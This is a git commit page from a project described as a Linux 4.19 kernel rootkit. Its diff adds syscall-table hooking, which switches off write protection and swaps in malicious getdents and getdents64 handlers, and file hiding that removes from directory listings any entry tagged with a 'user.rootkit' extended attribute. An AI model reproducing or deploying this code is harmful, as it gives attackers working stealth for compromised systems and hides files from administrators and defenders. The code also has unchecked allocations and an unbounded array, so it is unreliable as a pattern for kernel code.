linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 76278e7dabe5f237ecf8bb0bb4f3f5eb7920067d
parent 9556906eaebefe7cbf13829ae8b35fa6df908941
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Mon, 23 Nov 2020 01:43:37 +0100

Very ugly, but working file hiding (exluding getdents)

Diffstat:
Msrc/g7.c | 1+
Msrc/hook.c | 58++++++++++++++++++++++++++++++++++++++++++++++++++--------
Msrc/hook.h | 1+
3 files changed, 52 insertions(+), 8 deletions(-)

diff --git a/src/g7.c b/src/g7.c @@ -109,6 +109,7 @@ g7_exit(void) { DEBUG_INFO("[g7_exit]\n"); remove_proc_entry(G7_DEVICE, 0); + remove_hooks(); } diff --git a/src/hook.c b/src/hook.c @@ -33,6 +33,20 @@ init_hooks(void) { sys_getdents = (void *)sys_calls[__NR_getdents]; sys_getdents64 = (void *)sys_calls[__NR_getdents64]; + + disable_protection(); + sys_calls[__NR_getdents] = (unsigned long) g7_getdents; + sys_calls[__NR_getdents64] = (unsigned long) g7_getdents64; + enable_protection(); +} + +void +remove_hooks(void) +{ + disable_protection(); + sys_calls[__NR_getdents] = sys_getdents; + sys_calls[__NR_getdents64] = sys_getdents64; + enable_protection(); } void @@ -107,6 +121,17 @@ yield: return ret; } + +static int +g7_compare_inodes(unsigned long inode, unsigned long *ino_array, int ino_count) +{ + for(int i = 0; i < ino_count; i++) + if(inode == ino_array[i]) + return 1; + + return 0; +} + // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12 asmlinkage long @@ -135,20 +160,36 @@ g7_getdents64(const struct pt_regs *pt_regs) kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; kdirent_inode = kdirent_dentry->d_inode; - musthide = must_hide(kdirent_dentry); - DEBUG_INFO("must hide from 64: %d", musthide); + //musthide = must_hide(kdirent_dentry); + //DEBUG_INFO("must hide from 64: %d", musthide); - // TODO - /* struct list_head *i; */ - /* list_for_each(i, &kdirent_dentry->d_child) { */ - /* struct dentry *child = list_entry(i, struct dentry, ) */ - /* } */ + //Store all inode numbers that have xattrs set + //TODO better implementation, a limit of 256 is stupid (or is it?) + unsigned long *ino_array; + int ino_count; + ino_array = kmalloc(256 * sizeof(unsigned long), GFP_KERNEL); + ino_count = 0; + // TODO + struct list_head *i; + list_for_each(i, &kdirent_dentry->d_subdirs) { + struct dentry *child = list_entry(i, struct dentry, d_child); + if(child && child->d_inode) + if(!inode_permission(child->d_inode, MAY_READ)) { + char* buf = kmalloc(256, GFP_KERNEL); + ssize_t sz = vfs_getxattr(child, "user.rootkit", buf, 256); + + if(!strncmp("rootkit", buf, sz)) + ino_array[ino_count++] = child->d_inode->i_ino; + + kfree(buf); + } + } for (offset = 0; offset < ret;) { cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset); - if (false) { // TODO: detect xattrs user.rootkit = rootkit + if (g7_compare_inodes(cur_kdirent->d_ino, ino_array, ino_count)) { // TODO: detect xattrs user.rootkit = rootkit if (cur_kdirent == kdirent) { ret -= cur_kdirent->d_reclen; memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); @@ -165,6 +206,7 @@ g7_getdents64(const struct pt_regs *pt_regs) copy_to_user(dirent, kdirent, ret); yield: + kfree(ino_array); kfree(kdirent); return ret; } diff --git a/src/hook.h b/src/hook.h @@ -18,6 +18,7 @@ extern asmlinkage long (*sys_getdents64)(const struct pt_regs *); int retrieve_sys_call_table(void); void init_hooks(void); +void remove_hooks(void); void disable_protection(void); void enable_protection(void);